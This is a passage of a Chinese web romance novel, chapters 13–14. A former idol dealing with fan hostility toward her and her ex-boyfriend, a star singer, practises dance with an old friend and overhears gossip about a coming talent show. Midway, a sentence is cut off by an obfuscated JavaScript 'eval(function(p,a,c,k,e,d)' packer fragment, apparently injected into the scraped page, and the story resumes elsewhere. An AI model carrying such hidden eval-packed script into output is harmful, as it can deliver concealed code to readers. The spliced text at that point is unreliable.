但是在采访视频里的他却十分冷静地回答，“不是写给前女友的。” 隔着个屏幕看到这里，沈亦凝停顿一秒，随后自嘲一笑。果然还是她自作多情了。 主持人也愣了一下，不过他没有再继续纠结，而是继续照着台本问问题，“那你最喜欢的是《长白晴空》里的那一首歌呢？” “没有喜欢的。” 他语气十分平静地回答，“我永远喜欢下一首歌。” 主持人明显愣了一下，“为什么呢？” 祁致给出了理由，“因为那些歌已经是过去式了，我不想一直困在过去。” 他猝不及防抬头，看向镜头，淡定补充了一句，“我想往前看，最好别回头。” 说这句话的时候，他整个人如同高岭上常年不化的雪，冷淡到了极致。 隔着个屏幕，沈亦凝总恍惚，觉得这句话像是他说给她听的一样。 也是在这一刻，她顿时明白了一件事：不会有人一直在原地里等着他，他早就已经放下了过去，开启了新的人生。 沈亦凝平静地看完了这个采访。 心情有些复杂，难受说不上，释怀也没完全。 她只是默默地想。 挺好的，放下就好。 往路暗沉不可追，来日之路光明灿烂。 他们都要头也不回地往前走。 _ 所以这个电话打过去实在是不应该，传达模糊不清的信号不说，还会骚扰他现在平静的生活。 沈亦凝扣上手机。 只觉得自己的脑袋变得更晕更疼了。 就在沈亦凝头疼的时候，放在一旁的手机在此时此刻又再次响了起来。 13. 今夕何夕 也许是刚才打错电话的原因，沈亦凝听到手机铃声响起来的时候，脑海里第一个想到的人是祁致。 虽然知道祁致主动给她打电话的概率很低，但是她还是被狠狠吓了一跳。 捞起一旁的手机，接通了电话，耳边响起来的是段穆言的声音。 沈亦凝忐忑的心情终于在这一刻得到了放松。 “沈亦凝，你的药落在我这里了，我给你送过去？”他轻轻地哼笑一声，“你这么多年落东西的习惯还是一点儿都没变。” 段穆言的声音响在她的耳边。 沈亦凝眨眨眼，彻底回神。 已经在娱乐圈摸爬滚打这么多年，她的情绪越来越稳定，最擅长的事情就是调节自己的心态。 或许前一秒她还在崩溃、懊恼，甚至社死得想要螺旋起飞离开地球，下一秒她就能努力让自己冷静下来，仔细想想，突然觉得打错电话给祁致这事儿也没有多严重。 大不了就让祁致认为她骚扰他，想蹭他流量。那又怎样，顶多是让他讨厌自己而已。 反正现在网上大范围都在说她蹭前男友流量，这种传言最近都在满天飞。她就不信祁致刷不到类似的言论，就算他信又能怎样。 既然已经分手了，那她就不用在乎她自己在他心中的人设究竟如何。 于是沈亦凝也不纠结了，毕竟也没有什么挽留的办法，总不可能再打个电话过去道歉说不是故意的。 沈亦凝暂时把这件事情抛在脑后，抽了抽鼻子，声音有点儿控制不住的沙哑，“不好意思，可能是昨天晚上没有完全退烧，头太晕了，下车的时候忘记拿药了。” 段穆言微笑道，“跟我还说什么不好意思，等我下班了给你送过去吧，我现在也快下班了。” “行。”沈亦凝点点头，想了想最终还是把“谢谢”两个字重新咽回肚子里，只喝了口热水，挂断了电话。 半小时后段穆言开着车来到沈亦凝所在的小区，沈亦凝穿着拖着出门接他递过来的药。 两人全程寒暄了几句就分开了。 都没有其它什么太过越界的行为。 却没有想到，此时隐藏在暗处的狗仔，偷偷地举起了手中的摄像机，快速对着他们刚才的动作，“咔擦”一声，摁下了快门。 快门无声，速度特别快。 狗仔拍到照片后十分满意，迅速离开了现场。 - 公司暗箱操作，让沈亦凝被剧组踢出来后，她已经没有了拍戏的工作。 加上一周后又要去拍摄节目，于是仲霜没有再过来烦她，沈亦凝也因此得到了休息的机会。 沈亦凝美美地在家休息了一整天，身体舒服不少之后，就直接坐车去找孟觅夏。孟觅夏在一家舞蹈机构做舞蹈老师，机构名字叫做“云岫舞社”，总体收入还算不错。 之前沈亦凝每次出门的时候，都十分光明正大。毕竟“糊是最好的保护色”，毕竟她这么个十八线糊咖，谁会费尽心思花时间去偷拍她呢。 但是经过最近的多次偷拍事件后，沈亦凝这几天都已经不敢仗着自己是糊豆就为所欲为了。 她这段时间出门都是蒙着口罩，带着鸭舌帽，生怕再被拍到，引起一些没必要的麻烦。 但是即使如此，当已经捂得严严实实的沈亦凝出现在拾光舞社门口时，依旧引起不小的轰动。 有些人就算是捂着脸，也都依旧很好看。 沈亦凝就是这样一个人。 毕竟沈亦凝是曾经孤身一人从韩娱杀出来的顶级爱豆，颜值气质身材专业人力都无可挑剔，她这张脸无论什么时候拿出来都特别能打。 面部轮廓流畅，偏鹅蛋脸，颅顶饱满是很明显的头包脸，蓬松卷发披肩，小小的口罩就挡住了大半张脸，看不清具体长什么样子，但露出的那双眼睛灵动又漂亮。 即使沈亦凝本人的净身高只有168，但是身材比例特别好，加上她本人很瘦，若是不知情的人估计都以为她有一米七往上。 沈亦凝刚踏入“云岫”的大门，前台接待的几个小哥哥小姐姐，以及接待大厅里不少过来准备报名跳舞的路人们纷纷侧目过来看。 瞬间愣住两秒。 有种被击中的感觉。 渝城很多美女，肤白貌美唇红齿白，但像沈亦凝这样的一眼惊艳第二眼仍然惊艳的大美女却十分少见。 自她踏进大门的那一秒钟，路人和前台们都控制不住偷偷交头接耳，小声议论起来： “靠，那女生身材好好啊。” “就是太瘦了，夸张一点儿说她的腿只有我一半这么细。” “虽然瘦，但是有料啊。这身材不比很多当红女明星都好看？” “得了吧，脸都看不清，怎么就大美女了啊。”前台A努努嘴，“说不定口罩摘下来是个龅牙呢！” 这句话刚落下，前台A就看到沈亦凝直接往这边走了过来。 沈亦凝并没有听到这些人刚才对自己的议论，十分自然礼貌地问路，“您好，请问一下，我预定了自由练舞厅301，应该往那个方向上去？” 突然靠近的神颜放大在面前，这一瞬间几个接待前台们甚至都能够闻到空气中弥漫着一股淡淡的清香，不浓不淡的味道刚刚好。 非要用什么词语去形容的话，那就是像是三月春开放的山苍子花香。 前台A控制不住愣了一下，这么漂亮的一张脸突然在她面前晃，她嘴角都控制不住咧到后脑勺，赶紧伸手指路，“这位小姐，如果您已经有预约的话，往右手边左转直接进电梯上三楼就好。” “谢谢。”沈亦凝笑了笑，提着包离开了前台。 她前脚刚走，后脚几位招待前台们瞬间就疯了，就连刚才看不惯她的前台A也瞬间变脸。 “啊啊啊！！她声音好温柔啊，呜呜呜肯定是个大美女。” “下辈子能不能让我长她那样啊。” “我后悔说她龅牙了，是我有眼不识泰山，她明明是个大美女呜呜。” 沈亦凝气质很好，不说话时身上总带着一种倔强的清冷感。 但是实际上真正相处起来，就会发现她本人其实是一个很好说话的人。 沈亦凝只开口说了一句话，就瞬间拿捏了在场所有人的少女心，就连一开始看不惯她的前台A都直接拜倒在了她的石榴裙下。 毕竟喜欢上温柔大美女，本来就是一件超级无敌容易的事情啊。 说时迟那时快，前台A直接偷拍了沈亦凝的几张路人照，发到网上，配文，“今天遇到一个超级美女！！虽然戴着口罩看不清她具体长什么样子，但是绝对很美。而且我本来以为她是很高冷的那种，结果没想到是一个很温柔的小姐姐！” 前台A是一个混粉圈的，本命偶像是最近的顶级流量歌手祁致，是一个不折不扣的“芝士球”。 她的社交账号大部分发的都是偶像相关，譬如追了祁致线下，去看祁致演唱会之类的。小部分是记录自己美好生活，比如去演唱会了，分享上班日常什么的。 总结下来，前台A是一个抖音和微博账号粉丝有几千粉的普通追星女孩儿。 所以当她发了图文到社交平台后，很快有零星网友回复了她的帖子。 “姐妹！！你是不是叛变了啊？” “你居然觉得这女人漂亮！你居然觉得这女人漂亮！” “虽然照片模糊，但是已经有友军扒出来这女人是谁了，syn实锤，她这衣服在她两个月前发布的ins上有同款，帽子和鞋子都对上了，都在ins上有对应的款式。” “博主你知不知道她是谁啊，大粉扒出来她可是那个茶姐syn。” “本人代表芝士球首领，彻底把你赶出芝士球群体，你以后不配当芝士球了。” “合理怀疑博主是小鱼干反串（抠鼻）（抠鼻）。” “已举报，已拉黑。绝对是小鱼干在披着芝士球的外衣在嗑糖。” “是不是小鱼干，本芝士球一眼看穿（鄙视）。” 前台A本来只是想要分享一下遇见大美女的日常，却没有想到居然会碰到这种事情。 当前台A看到评论区里，一群同担“芝士球”在骂她的时候，她瞬间天塌了。 什么？ 来她们舞社订了练舞厅包厢的漂亮女人，居然就是沈亦凝本人。而且她还沉沦在她偶像前女友的美貌里了？ 天知道她最近最讨厌的女明星，绝对非沈亦凝本人莫属。一想到刚才自己发了夸沈亦凝颜值的博文，她就忍不住地开始犯恶心。 天啊！为什么天底下居然有这么巧的事情，线下遇到自己讨厌的女明星就算了，她居然还被自己最讨厌的女明星用外貌蛊惑了。 前台A用了整整五分钟，才缓慢地接受这个该死的现实。也瞬间找回了理智，第一时间删除了刚才自己那条略带痴汉的博文，随后开始陷入深深后悔，接着生自己的闷气，点进了“沈亦凝黑料屋”的超话里，狠狠骂了几句： “syn给我滚出娱乐圈！！” “syn我恨你！！” “syn长得真丑！！” 前台A骂完之后，觉得有些心虚，毕竟……沈亦凝现实中好像的确人挺好挺温柔的。 心中有两个小人在疯狂打架，最后前台A控制不住，还是偷偷点开了“祁沈不渝”的超话CP，发现原本被她们连夜屠掉的“祁沈不渝”超话又重新建起来了一个新版本。 原本这个超话只有六百个小鱼干，在此时数量已经激增到了10.8w个。 真正嗑糖的小鱼干不知道有多少个，但是关注这个超话的绝对成分复杂，除了真正嗑糖的之外，说不定还有双方唯粉，也许还是祁致粉丝“芝士球”和沈亦凝黑粉“沈金兵”潜伏在这个超话里。 “祁沈不渝”超话被屠过一次之后，现在的超话广场特别干净，被小鱼干们有意反给之后，一眼望去，全是各种自制嗑糖饭，甚至还有小鱼干们在里面发自己写的同人文。 前台A本想在这个超话里骂几句沈亦凝，但是越翻超话帖子越不对劲，特别是在偶然点进某个视频之后，她整个人愣住了一瞬间。 怎么感觉…… 好像的确这两个人CP还挺好嗑的？虽然只是普普通通的拉郎视频，但是两个人的脸真的很配好不好！ 前台A心里冒出这个离谱想法的时候，一个激灵吓了一跳，而后赶紧退出了这个超话。 而后赶紧发了一条微博。 是九宫格，全是在网上扒下来沈亦凝拍戏时候的剧照，被恶意P丑之后发出去，配文： syn丑东西滚出娱乐圈！ - 当然对于这件事情，沈亦凝压根不知情。 也没有想到自己出现在“云岫”舞社，想要单纯练个舞而已，就掀起了一阵腥风血雨。 沈亦凝坐上电梯上了三楼，等她已经通过身份验证进自由跳舞厅，换上练舞服了。 孟觅夏这才匆匆来迟。 “今天实在是太忙了，我现在才有空过来找你。” 沈亦凝用了一根黑皮筋，随意把自己的长发绑起来，扎了一个丸子头，“没事啊，我一个人也可以。” 沈亦凝大老远赶过来单独开了个跳舞室，她没有找陪练，被其他人认出来恐节外生枝，主要原因也是因为，她其实有舞蹈基础，不用特意找舞蹈老师过来教学，她只是单纯地因为很久没有跳舞了，过来找找感觉而已。 有基础在身上，找回曾经跳舞的技巧还是十分容易的。 孟觅夏还是想过来陪陪她，所以一结束工作就直接过来了，她换上鞋子，朝着沈亦凝走过去两步，笑着开玩笑，“我刚才过来的路上，听到有人在议论说，今天舞社来了个大美女，我一猜就知道他们在议论你。” 沈亦凝的嘴角没控制住地抽了一下，“行了啊，又开我玩笑。” “哪里开玩笑，之前我们当练习生那会儿，虽然大家都是素人，但是出去路演的时候，每次你经过，尖叫声永远都是最大的。” 孟觅夏说着，打开音响，连接蓝牙，语气十分自然，“沈亦凝，说起来我们已经很久没一起练舞了。” 孟觅夏热爱舞台，也是和沈亦凝同一年赴韩国参加训练的练习生之一。练习生的生活很艰难也很苦。但是两个女孩总觉得努力一定能出头。 直到沈亦凝十七岁，第一次参加公司出道赛，因为各种不可抗力被卡出道位，那时候孟觅夏就彻底心灰意冷了。 出道赛结束后，她们都没能出道，还要继续参加训练。出道这件事情本身就是不能强求的事，只是当年出道的成员中，有年纪比她们小的，有实力不如她们的，甚至有个出道的小女孩训练时长还不足一年。 这无疑是直接拿一盆冷水直接从她们的头上当头浇下。 她们不知道自己输给了什么，更不清楚自己在跳舞这条路上还有没有未来。 那是个秋天。 首尔街道一片萧瑟，两个女孩坐在火锅店里吃火锅，火腿、豆腐和蔬菜在锅里倒腾，热气蒸腾而上，两人中间隔着一圈白雾。 孟觅夏咬下一口香肠，抬起头来，透过那层白雾，缓缓开口说，“沈亦凝，你有没有觉得首尔的火锅没有渝城的好吃，一点儿都没味道。” 沈亦凝知道她当时什么意思。 那一秒，谁也没说话。 两个月后，临近新年。孟觅夏彻底放弃训练生身份，一张机票飞回了国。而沈亦凝犹豫不决，独自一人跑去了希尔克内斯。 为什么当初选择去这所城市？ 是因为沈亦凝听说，那儿冬季可以看见北极光。 她想，如果能够看得到北极光，那她就回到公司，继续训练。如果看不到，她就回国。 只不过遗憾的是， 那时的她并没能看到北极光。 - 那年两人分开后，就没有什么机会再一起训练了，后来沈亦凝出道后被迫退团，孟觅夏回国后成了这家机构的专业舞蹈老师，和机构老板谈了恋爱，也算半个老板娘，爱情事业都有了。 两个人的人生轨迹已经慢慢变得不一样，根本没机会聚在一起跳舞。只不过好在她们过了这么多年依旧没有失联。 沈亦凝扯扯嘴角笑了一下，“你这话说的，莫名其妙这么伤感？” 孟觅夏挑了挑眉，狡黠一笑，“我就是担心，你还会不会跳舞。” 这句话自然是在开玩笑。 自从退团之后，沈亦凝依旧没有放弃舞蹈，公司总给她接烂剧，她每次拍完戏，在等戏的时候，如果状态还好，还会时不时练习舞蹈。 之前的那个旧手机里全是她在空闲时期的练舞视频，之前练舞视频她也没有发在任何社交平台上，只是单纯地存在自己的手机相册里。 当做是那段低落时期的一场记录。 只不过那个手机丢了，现在都不知道手机去哪里了。 “那试试？”沈亦凝绑好头发，已经有些迫不及待了。 今夕是何夕，两个人居然还能够在同一个舞蹈室里训练。 孟觅夏利落地在手机里挑了一首歌——《Troublemaker》，这舞蹈的难度还行，也适合两个人一起跳。 这舞蹈孟觅夏已经跳过无数次，沈亦凝还没来得及跳过，她花了一个小时扒舞，而后对着镜子开始训练起来。 起初沈亦凝的动作还有些生涩，孟觅夏简单提点了几句，舞蹈训练到第三遍，沈亦凝已经能够做到完全地迎刃有余，甚至动作力度节奏都控制得非常好。 让孟觅夏记起沈亦凝事业巅峰时，作为SNT女团队长在演唱会上表演的那一天。 孟觅夏手里拿着荧光棒，大声为台上的她应援。耳边欢呼声、尖叫声此起彼伏，一浪高过一浪，震耳欲聋，汇聚成热烈的声浪，将现场气氛推向高潮。 舞台上，巨大的LED屏幕闪烁着五彩光芒，与镭射灯交织出梦幻光影，那时候的沈亦凝被灯光包围。 摄像机快速扫过台上所有人的脸。 唯独只有沈亦凝出现在LED大屏的那一瞬间最抓人眼球，在舞台上的她真的很有魅力。 不只是普通皮囊美。 当沈亦凝手握麦克风，踏上舞台时，身上散发的旺盛不息的生命力，自由又明媚的气息，活力元气又自信满满。 她好像天生就应该吃爱豆这碗饭的。 - - 两个人在练舞室练习了很久很久。 只陪练了半个小时，孟觅夏就已经有点儿累了，只觉得双腿发软，“我先去休息一下，刚才过来之前就陪其它学员训练，我力气都快用完了。” “行。”沈亦凝十分爽快地换了一首歌，开始重新扒舞。 实际上也并不一定要把某一首舞蹈给完全学完，还是那句话——过来练舞也不过就是单纯地复健一下，找找那种跳舞的感觉，活动活动身体也好。 只不过沈亦凝这个人有点儿强迫症和完美主义，想着既然都已经扒舞了，那就要把它给学会，但是等到她学会一支舞蹈之后，又会想着，既然学都学会了，那就把它给跳好。 于是开始慢慢扣细节。 这么一来二去，自然就直接忘记了时间。 孟觅夏坐在旁边，仰头喝完一口水，就这么静静地看着沈亦凝训练。 沈亦凝就像是个上了发条的永动机，一点儿都不不会累一样，在原地休息几分钟又重新开始练习起来。 孟觅夏也没说什么“你要不要休息一会儿”之类的话，毕竟两个人都已经认识这么久了，她早就知道沈亦凝是一个多执拗的人。 这么多年过去，沈亦凝还是对自己这么狠。 只记得当初在韩国Y.E公司爱豆部当练习生的时候，在某一个十分普通的傍晚，公司突然告诉她们这些十五六岁练习生说，同公司的女团前辈“星轨少女”开演唱会，她们这群练习生可以有机会经过公司的选拔，表现优异的人能够上台，当“星轨少女”的伴舞。 这也是公司私心，想要给后辈练习生增加一点儿曝光的机会。 所谓伴舞，就是在“星轨少女”女团开演唱会的时候，站在她们身后充当背景板的存在。 不会有多么漂亮的妆造，甚至上了舞台之后，更不会有粉丝为她们而来，因为并不知道她们信甚名谁，在大屏幕中不一定有一秒钟镜头，毕竟只是背景板，谁会在意呢？ 但是也就是这个小小的伴舞机会，要从两百多名练习生中挑出12名。 百人过独木桥，竞争激烈，要求苛刻。 沈亦凝那年十六岁，正是热血沸腾的年纪，她说，“我一定要得到这个机会。” 孟觅夏有些讶然她的坦白。沈亦凝毫不掩藏告诉别人，她是个野心家，她对这个机会虎视眈眈。 而且，沈亦凝不是仅仅只想当200多人中的前十二名，而是第一名。 她相信自己有这个实力，也相信自己能做到。 沈亦凝也并不仅仅是说说而已。 从那天开始，她便疯狂减肥，埋头苦练，每天待在练舞室超过十二个小时。整整一个月，每天就是玉米鸡蛋，黄瓜粘糖都觉得是罪恶，甚至体重到了平台期的时候，一天只喝一杯冰美式。 她的胃本来就不太好，在过度减肥之后，胃时不时就会疼，偏偏她还不是那种会爱惜自己身体的人，胃疼就只常在包里备布洛芬和兰索拉唑。 短短一个月，沈亦凝减了七八斤，但是不得不说，这的确是最好的上镜状态。腿部手部全是训练出来的淤青。 最后她也确实过五关斩六将，得到了上台的机会。 孟觅夏有些心疼她，盯着她身上的淤青，控制不住就要掉眼泪，“伴舞而已，又不会有镜头，这么拼做什么？” 沈亦凝笑笑说，“因为这是我第一次上舞台。” 人生第一次登上这么大的舞台，偌大的体育馆里能够容纳一万个人，台下座无虚席，粉丝呼喊声能够震破耳膜。 但是沈亦凝十分清楚地知道，这些人不是为了她来的，甚至在这次演唱会结束，作为伴舞的她不会被任何一个人记住。 但是她问自己，值得这样做吗？她的回答永远都是值得。因为她想认真对待每个舞台。 事实证明，老天爷有时候还是会眷顾勤奋的人的。譬如那天晚上，站在后排角落里，跳得气喘吁吁的沈亦凝，不知道为什么收到了摄像师的注意力，镜头在她身上停留了两秒钟。 LED大屏幕一扫而过她的脸，她听到台下响起欢呼声，虽然不知道这些欢呼声究竟有没有一个人注意到她。 但是镜头晃过去时，沈亦凝正好抬头，看到了自己汗涔涔的脸。 整整两个半小时的漫长演唱会，有两秒钟时属于她的。 这已经很幸运了。 自己先努力，其它的交给天意，总有那么一刻，会受到命运垂青的，即使那短暂的两秒钟，并没有给予她太大的事业加成。 但是值得吗？ 沈亦凝想，肯定是值得的。 - 在练舞室待了整整四个小时。 沈亦凝结束了今天的运动量，和孟觅夏一起去吃午饭。 孟觅夏提议，“一起去吃火锅吧，你回到YE中国影视部之后，我们一直没有正经坐在一起吃过一次像样的火锅。” 虽然两个人现在都在同城，但是能够聚在一起的次数真的很少，沈亦凝虽然资源不好，但是公司从来不让她闲着，又生怕她火，又什么烂戏全砸她身上。 她作为一个十八线居然一年到头公告都是满的，每次孟觅夏想约她出来，她都在说，“有点忙。” -忙什么呢？ -忙着参演每个小成本剧组里的恶毒女配。 想想都心酸。 上次两人心平气和坐在一起吃火锅，都已经是很多年前的事情了，那会儿两个人都还没出道。 于是孟觅夏特想跟她一起在一起吃顿火锅。 沈亦凝不好意思地笑了笑，“太辣了，对皮肤不太好。” “那吃烤鱼吧，附近有一家‘万州烤鱼’，特别多人吃，现在都已经是网红店铺了，网络app评分9.3！” 沈亦凝深呼吸一口气，继续尴尬笑了笑，“好像热量太高。” “渝城酸辣粉？辣子鸡？” 沈亦凝不说话了，只瞪着一双无辜的眼神看着她，语气试探道，“要不然今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听到这个熟悉的名字，孟觅夏瞬间闭嘴，竖起耳朵的同时，还快速瞥了一眼沈亦凝的反应。 沈亦凝表面上云淡风轻，但是实际上耳朵也在听那几个女生八卦。 沈亦凝现在在网上议论度挺高，为了减少一些必要麻烦，她们开了一个小包厢。说是包厢，实际上只是单纯用一张帘子隔开而已，除了看不见，议论说话的声音多半还是会听见的。 那几个女孩子议论的声音，自然也大差不差地全部飘进了沈亦凝的耳朵里。 “我实在是没想到，祁致居然去参加了‘破茧出道营’这个综艺，为什么会接这个本啊，他不知道他那个前女友也去吗？到时候肯定会被节目组凑CP博流量的。” “一想到节目播出，会有一些小鱼干在那里嗑CP我就想撞墙。这种过期糖居然都能嗑，也不怕蛀牙。” “如果沈亦凝不是被爆出来是祁致的女朋友，内娱里谁会认识她啊，靠炒CP黑红上位，我祝她糊穿地心。” “气死我了啦，我今天去逛了一下‘祁沈不渝’的CP超话，发现已经有13万CP粉了，能不能快点把这个超话屠了，一想到有这个超话的存在，我就觉得恶心。” “……” 听到这里，沈亦凝和孟觅夏面面相觑。 孟觅夏抽了抽嘴角，用嘴型小声说了一句：“果然你的黑粉还真是无处不在哈！” 沈亦凝尴尬地扯了扯嘴角，对此还能说什么？ 来吃个火锅都能够听到路人骂她，这种感觉真的是无法形容，总之肯定不是一件什么值得庆祝的事儿。 可见她黑粉数量还是特别庞大的。 只不过，很快沈亦凝又抓住了新的关键词——CP粉、“祁沈不渝”超话、小鱼干。 沈亦凝蓦然有些震惊。 这样的远古CP，居然也有人嗑？ 鬼使神差之下，沈亦凝点进微博，果真找到了那个所谓的CP超话。 “即使豹豹猫猫已经分手了，但是那又怎样？他们曾经相爱过！” “把腰杆挺起来，其他大热CP说不定私底下还是仇人，但是我们的CP曾经车咚热吻过，这点我们就赢了。” “多多宣传‘祁沈不渝’，小鱼干总能等到豹豹猫猫复合的那一天。” 沈亦凝惊呆了，真没想到这个世界上还真有这么一些组织在嗑她和祁致的CP啊，他们两个人都没有在大众面前出现过吧。 这都能嗑，已经是属于正主本人都觉得邪门的程度了。 至于复合？ 沈亦凝本人亲自打假：那是绝对不可能的。 - 不止沈亦凝在低头逛“祁沈不渝”的超话，托刚才那几个女孩子的福，孟觅夏也开始在这个CP超话里看了起来，一边看一边小声说，“我靠，一开始还以为你黑粉多，没有多少粉丝，没想到托祁致的福，CP粉还挺多的嘛！” 在这几天，内娱卷起沈亦凝满天黑料。 这个大背景下，沈亦凝的黑粉“沈金兵”和祁致的粉丝“芝士球”，没日没夜剪一些沈亦凝的黑粉向视频抵制她，居然也能有人喜欢她，而且嗑她跟顶流歌手祁致的CP，真是一件神奇的事情。 其实内娱里真没多少人认识沈亦凝。 在刷到那些黑粉向视频的时候，大部分 路人的第一反应都是：这人谁啊？名字听都没听过！ 路人路过、路人震惊、路人被黑粉们大范围科普了一遍“沈亦凝”这个名字。 一个区区十八线，演的都是垃圾网剧，凭什么三天两头上热搜，当红二三线女明星上热搜都没她这么频繁。 好奇心驱使之下，一生爱吃瓜的中国网民顺着铺天盖地的黑评摸到了沈亦凝的微博，并且开始考古起这个十八线小糊豆。 不考古不知道，一考古吓一跳。 什么！原来她之前在韩娱混过，而且还是队长？于是好奇去考古了沈亦凝在团时的舞台。 而后路人发现这个女明星虽然是十八线，但是长得是真漂亮啊，这脸放在内娱都是颜霸级别的程度。 沈亦凝在舞台上的时候总感觉比现实中漂亮很多，于是她就这么自然而然地多了好多舞台粉。 什么！原来她之前是如今当红歌手祁致的前女友？而且上错了迈巴赫车，车主还是前男友祁致。 这能没猫腻？路人不相信。 加上祁致和沈亦凝这两人颜值相当，嗑这两人CP简直就是人间天堂，于是路人们都快乐地嗑上了CP。 沈亦凝黑粉和祁致的粉丝芝士球在各大平台铺天盖地刷黑评，让路人都赶紧避雷她。 却无形之中增加了超级多的知名度。 一夜之间她的粉丝多了几十万。 沈亦凝的黑粉和芝士球震惊了，在网上异口同声道。 “你们瞎了吗？你们去粉那个女人做什么。” “够了！你们都别关注她啊，让她糊，让她退出娱乐圈。” 路人： “退团这事儿也不算黑料吧，我不混韩娱我不懂，反正这事儿在我这不算塌房，我就是单纯觉得她很漂亮。感谢各位兄台安利，我彻底爱上妹宝的颜值了。” “好美啊，有种内娱白月光的感觉。这为什么不火？明明比那些资本家的丑孩子漂亮多了好不好。” “怎么这么多人黑她，被买水军了吧。” “这么漂亮一张脸，感觉她被防爆了。” “别对女明星这么苛刻好吗？人家就是退团，正经谈个恋爱，出道后就没绯闻了，这都被骂退圈？我不懂，这也算黑料了？” “某个男明星睡粉依旧出来拍综艺，还好多人拥护，还有某某男明星爱豆期间谈恋爱，现在依旧出来拍戏哈，拍戏还瞪眼，照样没人骂他。” “守护楼上。多对男性苛刻，多对女性包容。别太欺负女明星了。” “他们能做到男女明星同样宽容度，内娱男明星得少一半。” 沈亦凝的黑粉和芝士球持续性发狂： “你们疯了吧？” “你们不要这样啊——你们不要喜欢这个坏女人。” “啊啊啊住手，你们快住手，不要关注她呜呜呜。” 而无人在意他们的咆哮。 他们在阴暗的角落里扭曲，发疯，最终同时想到了好点子。 都一致决定逐帧观看沈亦凝的舞台和演的剧，深入考古她，剪辑她的黑料视频，而后发到社交平台上。 让越来越多人讨厌她！ 两拨人说干就干，回家吭哧吭哧考古加剪辑视频去了。 但是黑粉们越频繁产出黑粉向视频，CP超话里涌入的新粉就更多。 路人们部分非但没有因为那些黑粉向视频讨厌上沈亦凝，还偷偷跑到了祁致和沈亦凝的CP超话，发现超话名字是“祁沈不渝。” 祁沈不渝，情深不渝。 连CP名字都这么般配，CP粉丝还叫做小鱼干，多可爱！ 于是小鱼干们的队伍逐渐变得越来越庞大起来。 “在无人的角落里，我已经磕上CP了。” “芝士球不撕，我都不知道这车是祁致的车。你们信上错车只是巧合吗？我反正不信。” “我也嗑上了，不参与对任何人的围剿，我再无人问津的角落偷偷找饭吃。” “我前段时间吃瓜，看那个视频的时候，我就嗑上了，没想到今天还有糖。这对CP的颜值对我眼睛特别友好！等复合QAQ。” 而看到网络上几乎一边倒的风评，沈亦凝黑粉和芝士球纷纷破防了，气疯了。 怎么沈亦凝粉丝增长得这么快？退团叛徒有啥好粉的。 怎么大家都嗑上了，不觉得这对CP很诡异吗！都分手了有啥好嗑的。 特别是看到一些网友评论的： ——“沈亦凝黑粉不撕，我都不知道沈亦凝有这么炫酷的舞台，妹宝妹宝我爱你。” ——“祁致的粉丝不撕，我都不知道他们还是前任关系，而且最近两人还上了同一辆车！复活吧我的‘祁沈不渝CP’！” “……” 俩批势力都气炸了。 沈亦凝黑粉：？？？ 芝士球：…… 小丑竟然是我们！！！ - 别说路人们点进“祁沈不渝”CP超话出不去了，就连沈亦凝本人都在这个超话里面逛了很久。 小鱼干们的产粮能力还是可以的，这两年两个人之间一次同框画面都没有，硬是在他们的高超剪辑技术之下，剪出了一个又一个充满粉红泡泡的视频。 这年头嗑CP都是个技术活。 孟觅夏逛了一圈，从超话里出来了，抬头一看，沈亦凝居然还在看小鱼干们发在超话广场里的，关于她自己跟祁致的CP向视频。 孟觅夏不禁感叹一句，“天，你居然看得如此入迷，你该不会还对祁致念念不忘吧？” 孟觅夏不过只是开玩笑地调侃一句，却没想到沈亦凝有些应激地赶紧退出超话和微博，甚至直接摁了手机熄屏。 沈亦凝闻言眨了眨眼。 她渴望舞台，希望重新变成一个唱跳爱豆，只要出道了，在感情方面必须足够干净。 无论是祁致，还是往后任何一个男人，只要她还继续站在舞台上，就绝对不可能会再次谈恋爱。 再说了，娱乐圈有多少对CP是真的呢，就算现在有很多人在嗑，那也不能够代表什么。 沈亦凝端起桌面上的玻璃杯，喝了口水，镇定道，“当然不会，我跟他早就没有任何可能了。” 14. 机场相遇 星果TV出品的大型选秀节目《破茧出道营》，还没开始正式拍摄，预约人数已经突破了惊人的450万，创下平台综艺历史新高。 除了踩中了选秀综艺如今大爆的风口，还有一部分原因是因为，参加这个综艺的制作人代表、导师和选手以及播出形式等等，每个环节都有很大的讨论度。 《破茧出道营》前期几期采用直播形式，在距离正式直播录制还剩下48小时，平台开启直播预约通道。 网络掀起一轮又一轮讨论热潮。 其中，一微博大v发布的博文引发无数关注。 ——「#破茧出道营选手官宣#，本人掌握这个综艺的一手资料。对此我只想说说破茧出道营也实在是太刺激了，太刺激了！」 1L：博主要曝瓜就速度一点，吊人胃口做什么？ 楼主：爆瓜爆瓜，某顶流前女友回来报复娱乐圈了，关键还和某顶流歌手一起参加了这个选秀综艺。 2L：就这，就这。路人都知道这里面黑料最多的人是syn啊。 3L：楼主再爆料这种早就被讨论烂了的话，就祝你吃泡面没有调料包，祝你出门下雨，打车加价，外卖超时，男友劈腿！ 4L：天天爆料这种人尽皆知的瓜，那么就有人要问了——博主你父母怎么办？ 5L：回2Lsyn黑料多？她应该只是目前热度最高的吧！ 6L：蹭上了祁致的热度，怎么可能讨论度不高，到处都是她的营销，节目还没录制，营销就满天飞了，合理怀疑她是“皇族”，保送出道位的那种。 评论区大部分都是谈论沈亦凝的，自然绝大部分都是对她的评价很一般，或者是完完全全讨厌她。 141L：那除了syn，还有谁有瓜啊？ 楼主：我只能说练习生里有星二代、富二代、百万大网红，只有少数是素人。 楼主：还有练习生离过婚，甚至还有曾经当过擦边博主的，百位学员大半都超过了25岁。 楼主：这种综艺真的有在认真做女团吗？这不是黄金年龄了吧，真的有粉丝想看吗？大部分都是去吃瓜的吧！ 66L：真的假的，这么劲爆？ 158L：在这个娱乐至死的年代，五花八门的选秀没完没了，反正我是不想看，我最多点开第一集，骂一下syn就离开。 188L：点了，内娱就没有认真的舞台，感觉这个综艺就是在过家家。 190L：我从来不看选秀综艺，只要这次的《破茧出道营》我也不看，这种综艺就绝对不会火！ 然而网友们永远都是一群口嫌体正直的人，尽管各路营销号和各种拥有庞大粉丝量的微博大v纷纷在吐槽、抵制《破茧出道营》这个节目，却也没有改变平台直播通道预约人数在以一种惊人速度迅速增加。 …… 沈亦凝在“云岫舞社”待了整整一周，又重新训练了一下基本功，活动了筋骨，还报名了一周声乐辅导课。 虽然只有短短一周，没有什么太大的效果，但是毕竟她有基础在，捡起来也还是挺容易的。 